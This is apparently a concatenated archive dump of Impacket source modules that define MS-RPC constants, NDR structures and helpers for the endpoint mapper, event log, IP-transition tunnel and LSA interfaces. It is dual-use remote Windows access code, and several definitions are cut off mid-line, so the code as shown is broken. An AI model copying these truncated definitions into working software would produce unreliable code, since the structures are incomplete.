'2C9273E0-1DC3-11D3-B364-00105A1F8177':'[MS-WMI]: Windows Management Instrumentation Remote Protocol', '7C857801-7381-11CF-884D-00AA004B2E24':'[MS-WMI]: Windows Management Instrumentation Remote Protocol', 'DC12A681-737F-11CF-884D-00AA004B2E24':'[MS-WMI]: Windows Management Instrumentation Remote Protocol', '8BC3F05E-D86B-11D0-A075-00C04FB68820':'[MS-WMI]: Windows Management Instrumentation Remote Protocol', '44ACA675-E8FC-11D0-A07C-00C04FB68820':'[MS-WMI]: Windows Management Instrumentation Remote Protocol', '1C1C45EE-4395-11D2-B60B-00104B703EFD':'[MS-WMI]: Windows Management Instrumentation Remote Protocol', '674B6698-EE92-11D0-AD71-00C04FD8FDFF':'[MS-WMI]: Windows Management Instrumentation Remote Protocol', 'FC910418-55CA-45EF-B264-83D4CE7D30E0':'[MS-WSRM]: Windows System Resource Manager (WSRM) Protocol', 'C5CEBEE2-9DF5-4CDD-A08C-C2471BC144B4':'[MS-WSRM]: Windows System Resource Manager (WSRM) Protocol', 'F31931A9-832D-481C-9503-887A0E6A79F0':'[MS-WSRM]: Windows System Resource Manager (WSRM) Protocol', '21546AE8-4DA5-445E-987F-627FEA39C5E8':'[MS-WSRM]: Windows System Resource Manager (WSRM) Protocol', 'BC681469-9DD9-4BF4-9B3D-709F69EFE431':'[MS-WSRM]: Windows System Resource Manager (WSRM) Protocol', '4F7CA01C-A9E5-45B6-B142-2332A1339C1D':'[MS-WSRM]: Windows System Resource Manager (WSRM) Protocol', '2A3EB639-D134-422D-90D8-AAA1B5216202':'[MS-WSRM]: Windows System Resource Manager (WSRM) Protocol', '59602EB6-57B0-4FD8-AA4B-EBF06971FE15':'[MS-WSRM]: Windows System Resource Manager (WSRM) Protocol', '481E06CF-AB04-4498-8FFE-124A0A34296D':'[MS-WSRM]: Windows System Resource Manager (WSRM) Protocol', 'E8BCFFAC-B864-4574-B2E8-F1FB21DFDC18':'[MS-WSRM]: Windows System Resource Manager (WSRM) Protocol', '943991A5-B3FE-41FA-9696-7F7B656EE34B':'[MS-WSRM]: Windows System Resource Manager (WSRM) Protocol', 'BBA9CB76-EB0C-462C-AA1B-5D8C34415701':'[MS-ADTS]: Active Directory Technical Specification', '906B0CE0-C70B-1067-B317-00DD010662DA':'[MS-CMPO]: MSDTC Connection Manager:', 'E3514235-4B06-11D1-AB04-00C04FC2DCD2':'[MS-DRSR]: Directory Replication Service (DRS) Remote Protocol', 'F6BEAFF7-1E19-4FBB-9F8F-B89E2018337C':'[MS-EVEN6]: EventLog Remoting Protocol', 'D049B186-814F-11D1-9A3C-00C04FC9B232':'[MS-FRS1]: File Replication Service Protocol', 'F5CC59B4-4264-101A-8C59-08002B2F8426':'[MS-FRS1]: File Replication Service Protocol', '5A7B91F8-FF00-11D0-A9B2-00C04FB6E6FC':'[MS-MSRP]: Messenger Service Remote Protocol', 'F5CC5A18-4264-101A-8C59-08002B2F8426':'[MS-NSPI]: Name Service Provider Interface (NSPI) Protocol', 'E33C0CC4-0482-101A-BC0C-02608C6BA218':'[MS-RPCL]: Remote Procedure Call Location Services Extensions', 'AFA8BD80-7D8A-11C9-BEF4-08002B102989':'[MS-RPCE]: Remote Management Interface', '00000134-0000-0000-C000-000000000046':'[MS-DCOM]: Distributed Component Object Model (DCOM)', '18F70770-8E64-11CF-9AF1-0020AF6E72F4':'[MS-DCOM]: Distributed Component Object Model (DCOM)', '958F92D8-DA20-467A-BBE3-65E7E9B4EDCF':'[MS-TSGU]: Terminal Services Gateway Server Management Interface', '6050B110-CE87-4126-A114-50AEFCFC95F8':'[MS-DCOM]: Distributed Component Object Model (DCOM)', '1544F5E0-613C-11D1-93DF-00C04FD7BD09':'[MS-OXABREF]: Address Book Name Service Provider Interface (NSPI) Referral Protocol', 'A4F1DB00-CA47-1067-B31F-00DD010662DA':'[MS-OXCRPC]: Wire Format Protocol', '5261574A-4572-206E-B268-6B199213B4E4':'[MS-OXCRPC]: Wire Format Protocol', } # Inquire Type RPC_C_EP_ALL_ELTS = 0x0 RPC_C_EP_MATCH_BY_IF = 0x1 RPC_C_EP_MATH_BY_OBJ = 0x2 RPC_C_EP_MATH_BY_BOTH = 0x1 # Vers Option RPC_C_VERS_ALL = 0x1 RPC_C_VERS_COMPATIBLE = 0x2 RPC_C_VERS_EXACT = 0x3 RPC_C_VERS_MARJOR_ONLY= 0x4 RPC_C_VERS_UPTO = 0x5 # Search RPC_NO_MORE_ELEMENTS = 0x16c9a0d6 # Floors constants FLOOR_UUID_IDENTIFIER = 0x0d # Protocol Identifiers FLOOR_RPCV5_IDENTIFIER = 0x0b # DCERPC Connection Oriented v.5 FLOOR_MSNP_IDENTIFIER = 0x0c # MS Named Pipes (LRPC) # Pipe Identifier FLOOR_NBNP_IDENTIFIER = 0x0f # NetBIOS Named Pipe # HostName Identifier FLOOR_MSNB_IDENTIFIER = 0x11 # MS NetBIOS HostName # PortAddr Identifier FLOOR_TCPPORT_IDENTIFIER = 0x07 # HTTP Protocol FLOOR_HTTP_IDENTIFIER = 0x1f ################################################################################ # STRUCTURES ################################################################################ # Tower Floors: As states in C706: # This appendix defines the rules for encoding an protocol_tower_t (abstract) # into the twr_t.tower_octet_string and twr_p_t->tower_octet_string fields # (concrete). For historical reasons, this cannot be done using the standard NDR # encoding rules for marshalling and unmarshalling. A special encoding is # required. # Note that the twr_t and twr_p_t are mashalled as standard IDL data types, # encoded in the standard transfer syntax (for example, NDR). As far as IDL and # NDR are concerned, tower_octet_string is simply an opaque conformant byte # array. This section only defines how to construct this opaque open array of # octets, which contains the actual protocol tower information. # The tower_octet_string[ ] is a variable length array of octets that encodes # a single, complete protocol tower. It is encoded as follows: # * Addresses increase, reading from left to right. # * Each tower_octet_string begins with a 2-byte floor count, encoded # little-endian, followed by the tower floors as follows: # +-------------+---------+---------+---------+---------+---------+ # | floorcount | floor1 | floor2 | floor3 | ... | floorn | # +-------------+---------+---------+---------+---------+---------+ # The number of tower floors is specific to the particular protocol tower, # also known as a protseq. # * Eachtowerfloorcontainsthefollowing: # |<- tower floor left hand side ->|<- tower floor right hand side ->| # +------------+-----------------------+------------+----------------------+ # | LHS byte | protocol identifier | RHS byte | related or address | # | count | data | count | data | # +------------+-----------------------+------------+----------------------+ # The LHS (Left Hand Side) of the floor contains protocol identifier information. # Protocol identifier values and construction rules are defined in Appendix I. # The RHS (Right Hand Side) of the floor contains related or addressing # information. The type and encoding for the currently defined protocol # identifiers are given in Appendix I. # The floor count, LHS byte count and RHS byte count are all 2-bytes, # in little endian format. # # So.. we're gonna use Structure to solve this # Standard Floor Assignments class EPMFloor(Structure): structure = ( ('LHSByteCount','H=0'), ) EPMFloors = [ EPMRPCInterface, EPMRPCDataRepresentation, EPMFloor, EPMFloor, EPMFloor, EPMFloor ] class EPMTower(Structure): structure = ( ('NumberOfFloors','. # There are test cases for them too. # # Author: # Alberto Solino (@agsolino) # Itamar Mizrahi (@MrAnde7son) # from __future__ import division from __future__ import print_function from impacket.dcerpc.v5.ndr import NDRCALL, NDRSTRUCT, NDR, NDRPOINTERNULL, NDRUniConformantArray from impacket.dcerpc.v5.dtypes import ULONG, LPWSTR, RPC_UNICODE_STRING, LPSTR, NTSTATUS, NULL, PRPC_UNICODE_STRING, PULONG, USHORT, PRPC_SID, LPBYTE from impacket.dcerpc.v5.lsad import PRPC_UNICODE_STRING_ARRAY from impacket.structure import Structure from impacket import nt_errors from impacket.uuid import uuidtup_to_bin from impacket.dcerpc.v5.rpcrt import DCERPCException MSRPC_UUID_EVEN = uuidtup_to_bin(('82273FDC-E32A-18C3-3F78-827929DC23EA','0.0')) class DCERPCSessionError(DCERPCException): def __init__(self, error_string=None, error_code=None, packet=None): DCERPCException.__init__(self, error_string, error_code, packet) def __str__( self ): key = self.error_code if key in nt_errors.ERROR_MESSAGES: error_msg_short = nt_errors.ERROR_MESSAGES[key][0] error_msg_verbose = nt_errors.ERROR_MESSAGES[key][1] return 'EVEN SessionError: code: 0x%x - %s - %s' % (self.error_code, error_msg_short, error_msg_verbose) else: return 'EVEN SessionError: unknown error code: 0x%x' % self.error_code ################################################################################ # CONSTANTS ################################################################################ # 2.2.2 EventType EVENTLOG_SUCCESS = 0x0000 EVENTLOG_ERROR_TYPE = 0x0001 EVENTLOG_WARNING_TYPE = 0x0002 EVENTLOG_INFORMATION_TYPE = 0x0004 EVENTLOG_AUDIT_SUCCESS = 0x0008 EVENTLOG_AUDIT_FAILURE = 0x0010 # 2.2.7 EVENTLOG_HANDLE_A and EVENTLOG_HANDLE_W #EVENTLOG_HANDLE_A EVENTLOG_HANDLE_W = LPWSTR # 2.2.9 Constants Used in Method Definitions MAX_STRINGS = 0x00000100 MAX_SINGLE_EVENT = 0x0003FFFF MAX_BATCH_BUFF = 0x0007FFFF # 3.1.4.7 ElfrReadELW (Opnum 10) EVENTLOG_SEQUENTIAL_READ = 0x00000001 EVENTLOG_SEEK_READ = 0x00000002 EVENTLOG_FORWARDS_READ = 0x00000004 EVENTLOG_BACKWARDS_READ = 0x00000008 ################################################################################ # STRUCTURES ################################################################################ class IELF_HANDLE(NDRSTRUCT): structure = ( ('Data','20s=""'), ) def getAlignment(self): return 1 # 2.2.3 EVENTLOGRECORD class EVENTLOGRECORD(Structure): structure = ( ('Length','. # There are test cases for them too. # # Author: # Itamar (@MrAnde7son) # from impacket import system_errors from impacket.dcerpc.v5.dtypes import WSTR, DWORD, LPWSTR, ULONG, LARGE_INTEGER, WORD, BYTE from impacket.dcerpc.v5.ndr import NDRCALL, NDRPOINTER, NDRUniConformantArray, NDRUniVaryingArray, NDRSTRUCT from impacket.dcerpc.v5.rpcrt import DCERPCException from impacket.uuid import uuidtup_to_bin MSRPC_UUID_EVEN6 = uuidtup_to_bin(('F6BEAFF7-1E19-4FBB-9F8F-B89E2018337C', '1.0')) class DCERPCSessionError(DCERPCException): def __init__(self, error_string=None, error_code=None, packet=None): DCERPCException.__init__(self, error_string, error_code, packet) def __str__(self): key = self.error_code if key in system_errors.ERROR_MESSAGES: error_msg_short = system_errors.ERROR_MESSAGES[key][0] error_msg_verbose = system_errors.ERROR_MESSAGES[key][1] return 'EVEN6 SessionError: code: 0x%x - %s - %s' % (self.error_code, error_msg_short, error_msg_verbose) else: return 'EVEN6 SessionError: unknown error code: 0x%x' % self.error_code ################################################################################ # CONSTANTS ################################################################################ # Evt Path Flags EvtQueryChannelName = 0x00000001 EvtQueryFilePath = 0x00000002 EvtReadOldestToNewest = 0x00000100 EvtReadNewestToOldest = 0x00000200 ################################################################################ # STRUCTURES ################################################################################ class CONTEXT_HANDLE_LOG_HANDLE(NDRSTRUCT): align = 1 structure = ( ('Data', '20s=""'), ) class PCONTEXT_HANDLE_LOG_HANDLE(NDRPOINTER): referent = ( ('Data', CONTEXT_HANDLE_LOG_HANDLE), ) class CONTEXT_HANDLE_LOG_QUERY(NDRSTRUCT): align = 1 structure = ( ('Data', '20s=""'), ) class PCONTEXT_HANDLE_LOG_QUERY(NDRPOINTER): referent = ( ('Data', CONTEXT_HANDLE_LOG_QUERY), ) class LPPCONTEXT_HANDLE_LOG_QUERY(NDRPOINTER): referent = ( ('Data', PCONTEXT_HANDLE_LOG_QUERY), ) class CONTEXT_HANDLE_OPERATION_CONTROL(NDRSTRUCT): align = 1 structure = ( ('Data', '20s=""'), ) class PCONTEXT_HANDLE_OPERATION_CONTROL(NDRPOINTER): referent = ( ('Data', CONTEXT_HANDLE_OPERATION_CONTROL), ) # 2.2.11 EvtRpcQueryChannelInfo class EvtRpcQueryChannelInfo(NDRSTRUCT): structure = ( ('Name', LPWSTR), ('Status', DWORD), ) class EvtRpcQueryChannelInfoArray(NDRUniVaryingArray): item = EvtRpcQueryChannelInfo class LPEvtRpcQueryChannelInfoArray(NDRPOINTER): referent = ( ('Data', EvtRpcQueryChannelInfoArray) ) class RPC_INFO(NDRSTRUCT): structure = ( ('Error', DWORD), ('SubError', DWORD), ('SubErrorParam', DWORD), ) class PRPC_INFO(NDRPOINTER): referent = ( ('Data', RPC_INFO) ) class WSTR_ARRAY(NDRUniVaryingArray): item = WSTR class DWORD_ARRAY(NDRUniVaryingArray): item = DWORD class LPDWORD_ARRAY(NDRPOINTER): referent = ( ('Data', DWORD_ARRAY) ) class BYTE_ARRAY(NDRUniVaryingArray): item = 'c' class CBYTE_ARRAY(NDRUniVaryingArray): item = BYTE class CDWORD_ARRAY(NDRUniConformantArray): item = DWORD class LPBYTE_ARRAY(NDRPOINTER): referent = ( ('Data', CBYTE_ARRAY) ) class ULONG_ARRAY(NDRUniVaryingArray): item = ULONG # 2.3.1 EVENT_DESCRIPTOR class EVENT_DESCRIPTOR(NDRSTRUCT): structure = ( ('Id', WORD), ('Version', BYTE), ('Channel', BYTE), ('LevelSeverity', BYTE), ('Opcode', BYTE), ('Task', WORD), ('Keyword', ULONG), ) class BOOKMARK(NDRSTRUCT): structure = ( ('BookmarkSize', DWORD), ('HeaderSize', ' / Positive Technologies (https://www.ptsecurity.com/) # from socket import inet_aton from impacket import uuid from impacket import hresult_errors from impacket.uuid import uuidtup_to_bin from impacket.dcerpc.v5.dtypes import BYTE, ULONG, WSTR, GUID, NULL from impacket.dcerpc.v5.ndr import NDRCALL, NDRUniConformantArray from impacket.dcerpc.v5.rpcrt import DCERPCException MSRPC_UUID_IPHLP_IP_TRANSITION = uuidtup_to_bin(('552d076a-cb29-4e44-8b6a-d15e59e2c0af', '1.0')) # RPC_IF_ALLOW_LOCAL_ONLY MSRPC_UUID_IPHLP_TEREDO = uuidtup_to_bin(('ecbdb051-f208-46b9-8c8b-648d9d3f3944', '1.0')) MSRPC_UUID_IPHLP_TEREDO_CONSUMER = uuidtup_to_bin(('1fff8faa-ec23-4e3f-a8ce-4b2f8707e636', '1.0')) class DCERPCSessionError(DCERPCException): def __init__(self, error_string=None, error_code=None, packet=None): DCERPCException.__init__(self, error_string, error_code, packet) def __str__( self ): key = self.error_code if key in hresult_errors.ERROR_MESSAGES: error_msg_short = hresult_errors.ERROR_MESSAGES[key][0] error_msg_verbose = hresult_errors.ERROR_MESSAGES[key][1] return 'IPHLP SessionError: code: 0x%x - %s - %s' % (self.error_code, error_msg_short, error_msg_verbose) else: return 'IPHLP SessionError: unknown error code: 0x%x' % self.error_code ################################################################################ # CONSTANTS ################################################################################ # Notification types NOTIFICATION_ISATAP_CONFIGURATION_CHANGE = 0 NOTIFICATION_PROCESS6TO4_CONFIGURATION_CHANGE = 1 NOTIFICATION_TEREDO_CONFIGURATION_CHANGE = 2 NOTIFICATION_IP_TLS_CONFIGURATION_CHANGE = 3 NOTIFICATION_PORT_CONFIGURATION_CHANGE = 4 NOTIFICATION_DNS64_CONFIGURATION_CHANGE = 5 NOTIFICATION_DA_SITE_MGR_LOCAL_CONFIGURATION_CHANGE_EX = 6 ################################################################################ # STRUCTURES ################################################################################ class BYTE_ARRAY(NDRUniConformantArray): item = 'c' ################################################################################ # RPC CALLS ################################################################################ # Opnum 0 class IpTransitionProtocolApplyConfigChanges(NDRCALL): opnum = 0 structure = ( ('NotificationNum', BYTE), ) class IpTransitionProtocolApplyConfigChangesResponse(NDRCALL): structure = ( ('ErrorCode', ULONG), ) # Opnum 1 class IpTransitionProtocolApplyConfigChangesEx(NDRCALL): opnum = 1 structure = ( ('NotificationNum', BYTE), ('DataLength', ULONG), ('Data', BYTE_ARRAY), ) class IpTransitionProtocolApplyConfigChangesExResponse(NDRCALL): structure = ( ('ErrorCode', ULONG), ) # Opnum 2 class IpTransitionCreatev6Inv4Tunnel(NDRCALL): opnum = 2 structure = ( ('LocalAddress', "4s=''"), ('RemoteAddress', "4s=''"), ('InterfaceName', WSTR), ) class IpTransitionCreatev6Inv4TunnelResponse(NDRCALL): structure = ( ('ErrorCode', ULONG), ) # Opnum 3 class IpTransitionDeletev6Inv4Tunnel(NDRCALL): opnum = 3 structure = ( ('TunnelGuid', GUID), ) class IpTransitionDeletev6Inv4TunnelResponse(NDRCALL): structure = ( ('ErrorCode', ULONG), ) ################################################################################ # OPNUMs and their corresponding structures ################################################################################ OPNUMS = { 0 : (IpTransitionProtocolApplyConfigChanges, IpTransitionProtocolApplyConfigChangesResponse), 1 : (IpTransitionProtocolApplyConfigChangesEx, IpTransitionProtocolApplyConfigChangesExResponse), 2 : (IpTransitionCreatev6Inv4Tunnel, IpTransitionCreatev6Inv4TunnelResponse), 3 : (IpTransitionDeletev6Inv4Tunnel, IpTransitionDeletev6Inv4TunnelResponse) } ################################################################################ # HELPER FUNCTIONS ################################################################################ def checkNullString(string): if string == NULL: return string if string[-1:] != '\x00': return string + '\x00' else: return string # For all notifications except EX def hIpTransitionProtocolApplyConfigChanges(dce, notification_num): request = IpTransitionProtocolApplyConfigChanges() request['NotificationNum'] = notification_num return dce.request(request) # Only for NOTIFICATION_DA_SITE_MGR_LOCAL_CONFIGURATION_CHANGE_EX # No admin required def hIpTransitionProtocolApplyConfigChangesEx(dce, notification_num, notification_data): request = IpTransitionProtocolApplyConfigChangesEx() request['NotificationNum'] = notification_num request['DataLength'] = len(notification_data) request['Data'] = notification_data return dce.request(request) # Same as netsh interface ipv6 add v6v4tunnel "Test Tunnel" 192.168.0.1 10.0.0.5 def hIpTransitionCreatev6Inv4Tunnel(dce, local_address, remote_address, interface_name): request = IpTransitionCreatev6Inv4Tunnel() request['LocalAddress'] = inet_aton(local_address) request['RemoteAddress'] = inet_aton(remote_address) request['InterfaceName'] = checkNullString(interface_name) request.fields['InterfaceName'].fields['MaximumCount'] = 256 return dce.request(request) def hIpTransitionDeletev6Inv4Tunnel(dce, tunnel_guid): request = IpTransitionDeletev6Inv4Tunnel() request['TunnelGuid'] = uuid.string_to_bin(tunnel_guid) return dce.request(request) impacket-impacket_0_11_0/impacket/dcerpc/v5/lsad.py000066400000000000000000001606011446174712300223060ustar00rootroot00000000000000# Impacket - Collection of Python classes for working with network protocols. # # Copyright (C) 2023 Fortra. All rights reserved. # # This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file # for more information. # # Description: # [MS-LSAD] Interface implementation # # Best way to learn how to use these calls is to grab the protocol standard # so you understand what the call does, and then read the test case located # at https://github.com/fortra/impacket/tree/master/tests/SMB_RPC # # Some calls have helper functions, which makes it even easier to use. # They are located at the end of this file. # Helper functions start with "h". # There are test cases for them too. # # Author: # Alberto Solino (@agsolino) # from __future__ import division from __future__ import print_function from impacket.dcerpc.v5.ndr import NDRCALL, NDRENUM, NDRUNION, NDRUniConformantVaryingArray, NDRPOINTER, NDR, NDRSTRUCT, \ NDRUniConformantArray from impacket.dcerpc.v5.dtypes import DWORD, LPWSTR, STR, LUID, LONG, ULONG, RPC_UNICODE_STRING, PRPC_SID, LPBYTE, \ LARGE_INTEGER, NTSTATUS, RPC_SID, ACCESS_MASK, UCHAR, PRPC_UNICODE_STRING, PLARGE_INTEGER, USHORT, \ SECURITY_INFORMATION, NULL, MAXIMUM_ALLOWED, GUID, SECURITY_DESCRIPTOR, OWNER_SECURITY_INFORMATION from impacket import nt_errors from impacket.uuid import uuidtup_to_bin from impacket.dcerpc.v5.enum import Enum from impacket.dcerpc.v5.rpcrt import DCERPCException MSRPC_UUID_LSAD = uuidtup_to_bin(('12345778-1234-ABCD-EF00-0123456789AB','0.0')) class DCERPCSessionError(DCERPCException): def __init__(self, error_string=None, error_code=None, packet=None): DCERPCException.__init__(self, error_string, error_code, packet) def __str__( self ): key = self.error_code if key in nt_errors.ERROR_MESSAGES: error_msg_short = nt_errors.ERROR_MESSAGES[key][0] error_msg_verbose = nt_errors.ERROR_MESSAGES[key][1] return 'LSAD SessionError: code: 0x%x - %s - %s' % (self.error_code, error_msg_short, error_msg_verbose) else: return 'LSAD SessionError: unknown error code: 0x%x' % self.error_code ################################################################################ # CONSTANTS ################################################################################ # 2.2.1.1.2 ACCESS_MASK for Policy Objects POLICY_VIEW_LOCAL_INFORMATION = 0x00000001 POLICY_VIEW_AUDIT_INFORMATION = 0x00000002 POLICY_GET_PRIVATE_INFORMATION = 0x00000004 POLICY_TRUST_ADMIN = 0x00000008 POLICY_CREATE_ACCOUNT = 0x00000010 POLICY_CREATE_SECRET = 0x00000020 POLICY_CREATE_PRIVILEGE = 0x00000040 POLICY_SET_DEFAULT_QUOTA_LIMITS = 0x00000080 POLICY_SET_AUDIT_REQUIREMENTS = 0x00000100 POLICY_AUDIT_LOG_ADMIN = 0x00000200 POLICY_SERVER_ADMIN = 0x00000400 POLICY_LOOKUP_NAMES = 0x00000800 POLICY_NOTIFICATION = 0x00001000 # 2.2.1.1.3 ACCESS_MASK for Account Objects ACCOUNT_VIEW = 0x00000001 ACCOUNT_ADJUST_PRIVILEGES = 0x00000002 ACCOUNT_ADJUST_QUOTAS = 0x00000004 ACCOUNT_ADJUST_SYSTEM_ACCESS = 0x00000008 # 2.2.1.1.4 ACCESS_MASK for Secret Objects SECRET_SET_VALUE = 0x00000001 SECRET_QUERY_VALUE = 0x00000002 # 2.2.1.1.5 ACCESS_MASK for Trusted Domain Objects TRUSTED_QUERY_DOMAIN_NAME = 0x00000001 TRUSTED_QUERY_CONTROLLERS = 0x00000002 TRUSTED_SET_CONTROLLERS = 0x00000004 TRUSTED_QUERY_POSIX = 0x00000008 TRUSTED_SET_POSIX = 0x00000010 TRUSTED_SET_AUTH = 0x00000020 TRUSTED_QUERY_AUTH = 0x00000040 # 2.2.1.2 POLICY_SYSTEM_ACCESS_MODE POLICY_MODE_INTERACTIVE = 0x00000001 POLICY_MODE_NETWORK = 0x00000002 POLICY_MODE_BATCH = 0x00000004 POLICY_MODE_SERVICE = 0x00000010 POLICY_MODE_DENY_INTERACTIVE = 0x00000040 POLICY_MODE_DENY_NETWORK = 0x00000080 POLICY_MODE_DENY_BATCH = 0x00000100 POLICY_MODE_DENY_SERVICE = 0x00000200 POLICY_MODE_REMOTE_INTERACTIVE = 0x00000400 POLICY_MODE_DENY_REMOTE_INTERACTIVE = 0x00000800 POLICY_MODE_ALL = 0x00000FF7 POLICY_MODE_ALL_NT4 = 0x00000037 # 2.2.4.4 LSAPR_POLICY_AUDIT_EVENTS_INFO # EventAuditingOptions POLICY_AUDIT_EVENT_UNCHANGED = 0x00000000 POLICY_AUDIT_EVENT_NONE = 0x00000004 POLICY_AUDIT_EVENT_SUCCESS = 0x00000001 POLICY_AUDIT_EVENT_FAILURE = 0x00000002 # 2.2.4.19 POLICY_DOMAIN_KERBEROS_TICKET_INFO # AuthenticationOptions POLICY_KERBEROS_VALIDATE_CLIENT = 0x00000080 # 2.2.7.21 LSA_FOREST_TRUST_RECORD # Flags LSA_TLN_DISABLED_NEW = 0x00000001 LSA_TLN_DISABLED_ADMIN = 0x00000002 LSA_TLN_DISABLED_CONFLICT = 0x00000004 LSA_SID_DISABLED_ADMIN = 0x00000001 LSA_SID_DISABLED_CONFLICT = 0x00000002 LSA_NB_DISABLED_ADMIN = 0x00000004 LSA_NB_DISABLED_CONFLICT = 0x00000008 LSA_FTRECORD_DISABLED_REASONS = 0x0000FFFF ################################################################################ # STRUCTURES ################################################################################ # 2.2.2.1 LSAPR_HANDLE class LSAPR_HANDLE(NDRSTRUCT): align = 1 structure = ( ('Data','20s=""'), ) # 2.2.2.3 LSA_UNICODE_STRING LSA_UNICODE_STRING = RPC_UNICODE_STRING # 2.2.3.1 STRING class STRING(NDRSTRUCT): commonHdr = ( ('MaximumLength','. # There are test cases for them too. # # Author: # Alberto Solino (@agsolino) # from impacket import nt_errors from impacket.dcerpc.v5.dtypes import ULONG, LONG, PRPC_SID, RPC_UNICODE_STRING, LPWSTR, PRPC_UNICODE_STRING, NTSTATUS, \ NULL from impacket.dcerpc.v5.enum import Enum from impacket.dcerpc.v5.lsad import LSAPR_HANDLE, PLSAPR_TRUST_INFORMATION_ARRAY from impacket.dcerpc.v5.ndr import NDRCALL, NDRSTRUCT, NDRENUM, NDRPOINTER, NDRUniConformantArray from impacket.dcerpc.v5.rpcrt import DCERPCException from impacket.dcerpc.v5.samr import SID_NAME_USE from impacket.uuid import uuidtup_to_bin MSRPC_UUID_LSAT = uuidtup_to_bin(('12345778-1234-ABCD-EF00-0123456789AB','0.0')) class DCERPCSessionError(DCERPCException): def __init__(self, error_string=None, error_code=None, packet=None): DCERPCException.__init__(self, error_string, error_code, packet) def __str__( self ): key = self.error_code if key in nt_errors.ERROR_MESSAGES: error_msg_short = nt_errors.ERROR_MESSAGES[key][0] error_msg_verbose = nt_errors.ERROR_MESSAGES[key][1] return 'LSAT SessionError: code: 0x%x - %s - %s' % (self.error_code, error_msg_short, error_msg_verbose) else: return 'LSAT SessionError: unknown error code: 0x%x' % self.error_code ################################################################################ # CONSTANTS ################################################################################ # 2.2.10 ACCESS_MASK POLICY_LOOKUP_NAMES = 0x00000800 ################################################################################ # STRUCTURES ################################################################################ # 2.2.12 LSAPR_REFERENCED_DOMAIN_LIST class LSAPR_REFERENCED_DOMAIN_LIST(NDRSTRUCT): structure = ( ('Entries', ULONG), ('Domains', PLSAPR_TRUST_INFORMATION_ARRAY), ('MaxEntries', ULONG), ) class PLSAPR_REFERENCED_DOMAIN_LIST(NDRPOINTER): referent = ( ('Data', LSAPR_REFERENCED_DOMAIN_LIST), ) # 2.2.14 LSA_TRANSLATED_SID class LSA_TRANSLATED_SID(NDRSTRUCT): structure = ( ('Use', SID_NAME_USE), ('RelativeId', ULONG), ('DomainIndex', LONG), ) # 2.2.15 LSAPR_TRANSLATED_SIDS class LSA_TRANSLATED_SID_ARRAY(NDRUniConformantArray): item = LSA_TRANSLATED_SID class PLSA_TRANSLATED_SID_ARRAY(NDRPOINTER): referent = ( ('Data', LSA_TRANSLATED_SID_ARRAY), ) class LSAPR_TRANSLATED_SIDS(NDRSTRUCT): structure = ( ('Entries', ULONG), ('Sids', PLSA_TRANSLATED_SID_ARRAY), ) # 2.2.16 LSAP_LOOKUP_LEVEL class LSAP_LOOKUP_LEVEL(NDRENUM): class enumItems(Enum): LsapLookupWksta = 1 LsapLookupPDC = 2 LsapLookupTDL = 3 LsapLookupGC = 4 LsapLookupXForestReferral = 5 LsapLookupXForestResolve = 6 LsapLookupRODCReferralToFullDC = 7 # 2.2.17 LSAPR_SID_INFORMATION class LSAPR_SID_INFORMATION(NDRSTRUCT): structure = ( ('Sid', PRPC_SID), ) # 2.2.18 LSAPR_SID_ENUM_BUFFER class LSAPR_SID_INFORMATION_ARRAY(NDRUniConformantArray): item = LSAPR_SID_INFORMATION class PLSAPR_SID_INFORMATION_ARRAY(NDRPOINTER): referent = ( ('Data', LSAPR_SID_INFORMATION_ARRAY), ) class LSAPR_SID_ENUM_BUFFER(NDRSTRUCT): structure = ( ('Entries', ULONG), ('SidInfo', PLSAPR_SID_INFORMATION_ARRAY), ) # 2.2.19 LSAPR_TRANSLATED_NAME class LSAPR_TRANSLATED_NAME(NDRSTRUCT): structure = ( ('Use', SID_NAME_USE), ('Name', RPC_UNICODE_STRING), ('DomainIndex', LONG), ) # 2.2.20 LSAPR_TRANSLATED_NAMES class LSAPR_TRANSLATED_NAME_ARRAY(NDRUniConformantArray): item = LSAPR_TRANSLATED_NAME class PLSAPR_TRANSLATED_NAME_ARRAY(NDRPOINTER): referent = ( ('Data', LSAPR_TRANSLATED_NAME_ARRAY), ) class LSAPR_TRANSLATED_NAMES(NDRSTRUCT): structure = ( ('Entries', ULONG), ('Names', PLSAPR_TRANSLATED_NAME_ARRAY), ) # 2.2.21 LSAPR_TRANSLATED_NAME_EX class LSAPR_TRANSLATED_NAME_EX(NDRSTRUCT): structure = ( ('Use', SID_NAME_USE), ('Name', RPC_UNICODE_STRING), ('DomainIndex', LONG), ('Flags', ULONG), ) # 2.2.22 LSAPR_TRANSLATED_NAMES_EX class LSAPR_TRANSLATED_NAME_EX_ARRAY(NDRUniConformantArray): item = LSAPR_TRANSLATED_NAME_EX class PLSAPR_TRANSLATED_NAME_EX_ARRAY(NDRPOINTER): referent = ( ('Data', LSAPR_TRANSLATED_NAME_EX_ARRAY), ) class LSAPR_TRANSLATED_NAMES_EX(NDRSTRUCT): structure = ( ('Entries', ULONG), ('Names', PLSAPR_TRANSLATED_NAME_EX_ARRAY), ) # 2.2.23 LSAPR_TRANSLATED_SID_EX class LSAPR_TRANSLATED_SID_EX(NDRSTRUCT): structure = ( ('Use', SID_NAME_USE), ('RelativeId', ULONG), ('DomainIndex', LONG), ('Flags', ULONG), ) # 2.2.24 LSAPR_TRANSLATED_SIDS_EX class LSAPR_TRANSLATED_SID_EX_ARRAY(NDRUniConformantArray): item = LSAPR_TRANSLATED_SID_EX class PLSAPR_TRANSLATED_SID_EX_ARRAY(NDRPOINTER): referent = ( ('Data', LSAPR_TRANSLATED_SID_EX_ARRAY), ) class LSAPR_TRANSLATED_SIDS_EX(NDRSTRUCT): structure = ( ('Entries', ULONG), ('Sids', PLSAPR_TRANSLATED_SID_EX_ARRAY), ) # 2.2.25 LSAPR_TRANSLATED_SID_EX2 class LSAPR_TRANSLATED_SID_EX2(NDRSTRUCT): structure = ( ('Use', SID_NAME_USE), ('Sid', PRPC_SID), ('DomainIndex', LONG), ('Flags', ULONG), ) # 2.2.26 LSAPR_TRANSLATED_SIDS_EX2 class LSAPR_TRANSLATED_SID_EX2_ARRAY(NDRUniConformantArray): item = LSAPR_TRANSLATED_SID_EX2 class PLSAPR_TRANSLATED_SID_EX2_ARRAY(NDRPOINTER): referent = ( ('Data', LSAPR_TRANSLATED_SID_EX2_ARRAY), ) class LSAPR_TRANSLATED_SIDS_EX2(NDRSTRUCT): structure = ( ('Entries', ULONG), ('Sids', PLSAPR_TRANSLATED_SID_EX2_ARRAY), ) class RPC_UNICODE_STRING_ARRAY(NDRUniConformantArray): item = RPC_UNICODE_STRING ################################################################################ # RPC CALLS ################################################################################ # 